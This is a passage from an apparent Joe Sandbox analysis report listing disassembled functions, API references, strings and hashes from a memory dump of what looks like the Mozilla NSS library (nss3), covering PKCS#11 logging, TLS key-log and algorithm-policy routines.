(CK_INVALID_HANDLE), xrefs: 6C79AF7C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 4b39b51f53f351a5be827dcc33b5433de57a0cb5bab7afac8851039e6b1142dd
Instruction ID: db31f1f51dd50f8c243eac6c763f725b5589cd300128a2baccccecff4faf0fcc
Opcode Fuzzy Hash: 4b39b51f53f351a5be827dcc33b5433de57a0cb5bab7afac8851039e6b1142dd
Instruction Fuzzy Hash: 0541B275602004AFDB308F18EE4CB9D37B2AB4231DF454435E50897A52E735A958DBA1

Function 6C792700 Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 114COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotInfo), ref: 6C79271C
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C79274E

Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870B88
Part of subcall function 6C8709D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C870C5D
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C870C8D
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870C9C
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870CD1
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C870CEC
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870CFB
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870D16
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C870D26
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870D35
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C870D65
Part of subcall function 6C8709D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C870D70
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870D90
Part of subcall function 6C8709D0: free.MOZGLUE(00000000), ref: 6C870D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C792735

Part of subcall function 6C8709D0: PR_Now.NSS3 ref: 6C870A22
Part of subcall function 6C8709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C870A35
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C870A66
Part of subcall function 6C8709D0: PR_GetCurrentThread.NSS3 ref: 6C870A70
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C870A9D
Part of subcall function 6C8709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C870AC8
Part of subcall function 6C8709D0: PR_vsmprintf.NSS3(?,?), ref: 6C870AE8
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870B19
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870B48
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870C76
Part of subcall function 6C8709D0: PR_LogFlush.NSS3 ref: 6C870C7E

PR_LogPrint.NSS3( slotDescription = "%.64s",?), ref: 6C7927C2
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C7927E2
PR_LogPrint.NSS3( flags = %s %s %s,CKF_HW_SLOT,CKF_REMOVABLE_DEVICE,CKF_TOKEN_PRESENT), ref: 6C792823
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C792845
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C792867

Strings

CKF_REMOVABLE_DEVICE, xrefs: 6C792809, 6C79281C
pInfo = 0x%p, xrefs: 6C792749
flags = %s %s %s, xrefs: 6C79281E
slotDescription = "%.64s", xrefs: 6C7927BD
manufacturerID = "%.32s", xrefs: 6C7927DD
firmware version: %d.%d, xrefs: 6C792862
slotID = 0x%x, xrefs: 6C792730
hardware version: %d.%d, xrefs: 6C792840
C_GetSlotInfo, xrefs: 6C792717
CKF_HW_SLOT, xrefs: 6C792813, 6C79281D
CKF_TOKEN_PRESENT, xrefs: 6C7927FF, 6C79281B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s$ hardware version: %d.%d$ manufacturerID = "%.32s"$ pInfo = 0x%p$ slotDescription = "%.64s"$ slotID = 0x%x$CKF_HW_SLOT$CKF_REMOVABLE_DEVICE$CKF_TOKEN_PRESENT$C_GetSlotInfo
API String ID: 2278790770-1459004011
Opcode ID: 52bc4f0e10ff9cafa15448064c0a8d473e5a88fb7bcc750ac3225758e439281a
Instruction ID: 58f2e436cbbd7d8c617e01754d1ed9eb28c6f630fb61b92e59df015975d314e3
Opcode Fuzzy Hash: 52bc4f0e10ff9cafa15448064c0a8d473e5a88fb7bcc750ac3225758e439281a
Instruction Fuzzy Hash: 184128B0601140AFEB34AB65EF8CE2937B5EB8225DF454475E905D7B42EB31ED08CBA1

Function 6C7A25D0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C77662E,?,?), ref: 6C7A264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C77662E,?,?), ref: 6C7A2670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C77662E,?), ref: 6C7A2684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7A26C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C7A26E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7A26F4
PR_Unlock.NSS3(?), ref: 6C7A274D
PR_SetError.NSS3(00000000,00000000), ref: 6C7A28A9

Part of subcall function 6C7B3440: PK11_GetAllTokens.NSS3 ref: 6C7B3481
Part of subcall function 6C7B3440: PR_SetError.NSS3(00000000,00000000), ref: 6C7B34A3
Part of subcall function 6C7B3440: TlsGetValue.KERNEL32 ref: 6C7B352E
Part of subcall function 6C7B3440: EnterCriticalSection.KERNEL32(?), ref: 6C7B3542
Part of subcall function 6C7B3440: PR_Unlock.NSS3(?), ref: 6C7B355B

PR_Unlock.NSS3(?), ref: 6C7A27A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C77662E,?,?,?), ref: 6C7A27B5
PR_Unlock.NSS3(?), ref: 6C7A27CE
TlsGetValue.KERNEL32 ref: 6C7A27E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7A2800

Part of subcall function 6C7AF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7AF854
Part of subcall function 6C7AF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7AF868
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7AF882
Part of subcall function 6C7AF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7AF889
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7AF8A4
Part of subcall function 6C7AF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7AF8AB
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7AF8C9
Part of subcall function 6C7AF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7AF8D0

PR_Unlock.NSS3(?), ref: 6C7A2834
TlsGetValue.KERNEL32 ref: 6C7A284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7A2866

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Strings

.fwl, xrefs: 6C7A2618, 6C7A2632
.fwl, xrefs: 6C7A261B, 6C7A269B, 6C7A26CA, 6C7A2780, 6C7A2890, 6C7A2635, 6C7A269E, 6C7A2738, 6C7A2783

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID: .fwl$.fwl
API String ID: 544520609-4039893310
Opcode ID: 2b128fc605dffeb35b64cf0b129296830558b208bba66e4c50df38cbba4626be
Instruction ID: aa4416fd0a2a5f1d67bdf1b225bfc3922533a2719844071fcc914bc321be3db8
Opcode Fuzzy Hash: 2b128fc605dffeb35b64cf0b129296830558b208bba66e4c50df38cbba4626be
Instruction Fuzzy Hash: EEB1D970D00205DFDB10DFAADE88AAAB7B4FF09308F544639E90967B11E731E955CBA1

Function 6C7C0550 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6C7A5989), ref: 6C7C0571

Part of subcall function 6C751240: TlsGetValue.KERNEL32(00000040,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751267
Part of subcall function 6C751240: EnterCriticalSection.KERNEL32(?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C75127C
Part of subcall function 6C751240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751291
Part of subcall function 6C751240: PR_Unlock.NSS3(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C7512A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6C7A5989), ref: 6C7C05B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6C7A5989), ref: 6C7C05C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6C7A5989), ref: 6C7C05EC
strstr.VCRUNTIME140(00000001,?), ref: 6C7C0653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6C7A5989), ref: 6C7C0681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6C7A5989), ref: 6C7C06AB
PL_NewHashTable.NSS3(00000000,6C7BFE80,?,6C80C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6C7A5989), ref: 6C7C06D5
PL_NewHashTable.NSS3(00000000,?,6C80C350,6C80C350,00000000,00000000), ref: 6C7C06EC
PL_HashTableAdd.NSS3(?,6C88E618,6C88E618), ref: 6C7C070F

Part of subcall function 6C6E2DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6C6E2E35

PL_HashTableAdd.NSS3(FFFFFFFF,6C88E618), ref: 6C7C0738
PL_HashTableAdd.NSS3(6C88E634,6C88E634), ref: 6C7C0752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6C7A5989), ref: 6C7C0767

Strings

flags, xrefs: 6C7C0555
NSS_HASH_ALG_SUPPORT, xrefs: 6C7C05B2
dynamic OID data, xrefs: 6C7C068A
V, xrefs: 6C7C0559
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6C7C056C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags
API String ID: 514890423-4248967104
Opcode ID: a70d9bc1ec5d331cec5ef04e3baec9c3cecf59b4d5191dd27b71d83bbf2d245c
Instruction ID: 7e38ff673cb8bebac365d30f30202baa51716f834a43ab40fb8dac186d503484
Opcode Fuzzy Hash: a70d9bc1ec5d331cec5ef04e3baec9c3cecf59b4d5191dd27b71d83bbf2d245c
Instruction Fuzzy Hash: 6351C1F1B012865FEB209F399E0CB573AA4AB4635CF180535D818E7B81EB35C654CBE2

Function 6C7A4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7A4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C7A4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4DB7

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

TlsGetValue.KERNEL32 ref: 6C7A4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C7A4DEC
PR_Unlock.NSS3(?), ref: 6C7A4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C7A4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C7A4E71
free.MOZGLUE(00000000), ref: 6C7A4E7A
PR_Unlock.NSS3(?), ref: 6C7A4EA2
TlsGetValue.KERNEL32 ref: 6C7A4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C7A4ED6
PR_Unlock.NSS3(?), ref: 6C7A4F01
free.MOZGLUE(00000000), ref: 6C7A4F2A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 281db75a48b73e41ab6e48f11eb5fe61a554d22df60a22f5e57bd025deca275d
Instruction ID: f2f88d1a5d47b02d8d68c14ff37db6f7ebd941125db434128a0b5e03af36da10
Opcode Fuzzy Hash: 281db75a48b73e41ab6e48f11eb5fe61a554d22df60a22f5e57bd025deca275d
Instruction Fuzzy Hash: A1B12571A00205AFDB10DFA8DD44AAA77B4BF0931CF045234ED1597B01EB32E966CBE1

Function 6C7F6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C7F6BF7), ref: 6C7F6EB6

Part of subcall function 6C751240: TlsGetValue.KERNEL32(00000040,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751267
Part of subcall function 6C751240: EnterCriticalSection.KERNEL32(?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C75127C
Part of subcall function 6C751240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751291
Part of subcall function 6C751240: PR_Unlock.NSS3(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C7512A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C89FC0A,6C7F6BF7), ref: 6C7F6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C7F6EFC
PR_NewLock.NSS3 ref: 6C7F6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C7F6BF7), ref: 6C7F6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C7F6BF7), ref: 6C7F6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C7F6BF7), ref: 6C7F6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C7F6BF7), ref: 6C7F6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C7F6FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C7F6FDB
SSLKEYLOGFILE, xrefs: 6C7F6EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C7F6F4F
SSLFORCELOCKS, xrefs: 6C7F6F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C7F6EF7

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 4ac71f103c9351111a34f265c25c192fa1875653c7954f0ebd9d16c3bef73412
Instruction ID: e4b7dc887748ea0743307f6a694f4f6a2605a3ae5d3ea3678791b36ac7155a8c
Opcode Fuzzy Hash: 4ac71f103c9351111a34f265c25c192fa1875653c7954f0ebd9d16c3bef73412
Instruction Fuzzy Hash: 75A107F2E5598086E720473CCE8138432A2AB9337FF588775E931C6FD5DBB59942C282

Function 6C76C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76C4D5

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C76C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C76C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6C76C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6C76C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C76C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C76C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C76C751
PL_FinishArenaPool.NSS3(?), ref: 6C76C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C76C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C76C7A9

Strings

security, xrefs: 6C76C63F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: eb324621d93e5e48f21dee98a6112f2e7d907f650d25e3637bf8085cacf4be98
Instruction ID: de91473d06fa0cce217491f392da48a7554293278cd4d6fd3d32e6804c958563
Opcode Fuzzy Hash: eb324621d93e5e48f21dee98a6112f2e7d907f650d25e3637bf8085cacf4be98
Instruction Fuzzy Hash: 34813EB1D001099BEF10EB66DE88BEE7774DF0130EF244135ED01A6E52E761DA49CBA6

Function 6C796D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C796D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C796DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C796DC3

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C796DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C796DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C796E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C796E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C796E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C796EB9

Strings

pDigest = 0x%p, xrefs: 6C796E27
hSession = 0x%x, xrefs: 6C796D9E, 6C796DAE
pulDigestLen = 0x%p, xrefs: 6C796E42
C_Digest, xrefs: 6C796D81
ulDataLen = %d, xrefs: 6C796E0E
*pulDigestLen = 0x%x, xrefs: 6C796EB4
pData = 0x%p, xrefs: 6C796DF5
(CK_INVALID_HANDLE), xrefs: 6C796DBC

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

